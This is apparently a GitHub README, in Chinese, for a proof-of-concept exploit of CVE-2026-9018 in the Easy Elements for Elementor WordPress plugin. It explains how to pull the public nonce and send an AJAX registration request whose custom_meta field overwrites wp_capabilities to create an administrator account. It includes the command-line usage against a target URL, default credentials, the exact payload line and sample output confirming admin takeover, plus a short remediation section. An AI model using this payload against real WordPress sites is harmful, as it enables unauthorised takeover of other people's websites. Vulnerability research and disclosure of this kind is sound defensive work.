xxconi/CVE-2026-9018
GitHub: xxconi/CVE-2026-9018
针对Easy Elements for Elementor插件CVE-2026-9018的未授权权限提升利用工具,通过AJAX覆盖用户权限元数据创建管理员账户。
Stars: 1 | Forks: 0
# CVE-2026-9018
# CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | 未授权权限提升





## 概述
**Easy Elements for Elementor – Addons & Website Templates** WordPress 插件(版本 ≤ 1.4.5)存在一个未授权权限提升漏洞。通过 `wp_ajax_nopriv_eel_register` AJAX 处理程序暴露的 `easyel_handle_register()` 函数,直接将攻击者控制的 `custom_meta` POST 值传递给 `update_user_meta()`,而未进行任何键白名单校验。这使得未授权的攻击者能够覆盖 `wp_capabilities` 元键,从而创建一个**管理员级别**的账户。
| 属性 | 详情 |
|----------------|------------------------------------------------------------------------|
| **插件** | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| **受影响版本** | ≤ 1.4.5 |
| **修复版本** | 1.4.6+ |
| **攻击向量** | 网络 / 未授权 |
| **CWE** | CWE-269: 权限管理不当 |
| **AJAX 动作** | `eel_register` (nopriv) |
## 前置条件
在利用之前,目标站点必须满足以下条件:
- ✅ WordPress **用户注册已启用**(`设置 → 常规 → 任何人都可以注册`)
- ✅ 一个包含插件 **登录/注册小部件** 的页面可公开访问
- ✅ 该小部件在页面 DOM 中暴露了 `easy_elements_nonce` 值。
## 环境要求
```
pip install requests
```
## 使用方法
```
# Basic — 从首页获取的 nonce
python3 poc.py -u https://target.com
# 自定义凭据
python3 poc.py -u https://target.com -U hacker -e h@x.io -p P@ssw0rd!
# Widget 位于 /login/ 页面
python3 poc.py -u https://target.com --nonce-page /login/
# 跳过 SSL 验证
python3 poc.py -u https://target.com --no-verify
# 跳过 post-exploit 登录检查
python3 poc.py -u https://target.com --skip-verify-login
```
### 参数
| 标志 | 描述 | 默认值 |
|------------------------|------------------------------------------------------|--------------------|
| `-u`, `--url` | 目标 WordPress URL | *(必填)* |
| `-U`, `--username` | 新管理员账户的用户名 | `atomic_admin` |
| `-e`, `--email` | 新管理员账户的邮箱 | `admin@atomicedge.io` |
| `-p`, `--password` | 新管理员账户的密码 | `Atomic@Edge2026!` |
| `-np`, `--nonce-page` | 包含登录/注册小部件的页面路径 | `/` |
| `--no-verify` | 禁用 SSL 验证 | `false` |
| `--skip-verify-login` | 跳过利用后的 WP 管理员登录验证 | `false` |
### 示例输出
```
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : admin@atomicedge.io
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
```
## 技术细节
该利用遵循两步流程:
**步骤 1 — Nonce 提取**
插件的 Elementor 登录/注册小部件在页面 HTML 中渲染了一个隐藏的 `easy_elements_nonce` 字段。该 nonce 对任何未授权访问者都是公开可访问的,并通过正则表达式从页面源代码中提取。
**步骤 2 — 恶意注册**
向 `/wp-admin/admin-ajax.php` 发送 POST 请求,包含 `action=eel_register`。精心构造 `custom_meta` 数组,包含以下内容:
```
custom_meta[wp_capabilities][administrator] = 1
```
由于 `easyel_handle_register()` 将所有 `custom_meta` 键直接传递给 `update_user_meta()` 而不进行白名单校验,因此在注册后 `wp_capabilities` 用户元数据被覆盖,授予新用户完全的管理员权限。
## 修复措施
开发者必须对 `easyel_handle_register()` 应用以下修复:
1. **实施严格的白名单**,仅允许指定的 `custom_meta` 键(例如 `first_name`、`last_name`、`phone`)
2. **显式阻止**敏感键:`wp_capabilities`、`wp_user_level`、`session_tokens`
3. **避免处理**任何用户提供的元数据,如果 `wp_insert_user()` 之后不需要这些数据
4. 仅输入清理**不足以**解决问题——必须使用白名单
**→ 立即更新到 Easy Elements for Elementor 1.4.6 或更高版本。**
## 免责声明
标签:Addons & Website Templates, AJAX, CVE-2026-9018, CVE漏洞, CVSS 8.8, CVSS高危, CWE-269, Easy Elements for Elementor, Elementor插件, OpenVAS, PHP, update_user_meta, Web报告查看器, WordPress, WordPress插件安全, wp_ajax_nopriv, 协议分析, 威胁模拟, 安全漏洞, 插件漏洞, 文件完整性监控, 未授权访问, 未认证, 权限提升, 权限覆盖, 特权升级, 用户注册, 管理员账户, 自定义元数据, 账户创建, 逆向工具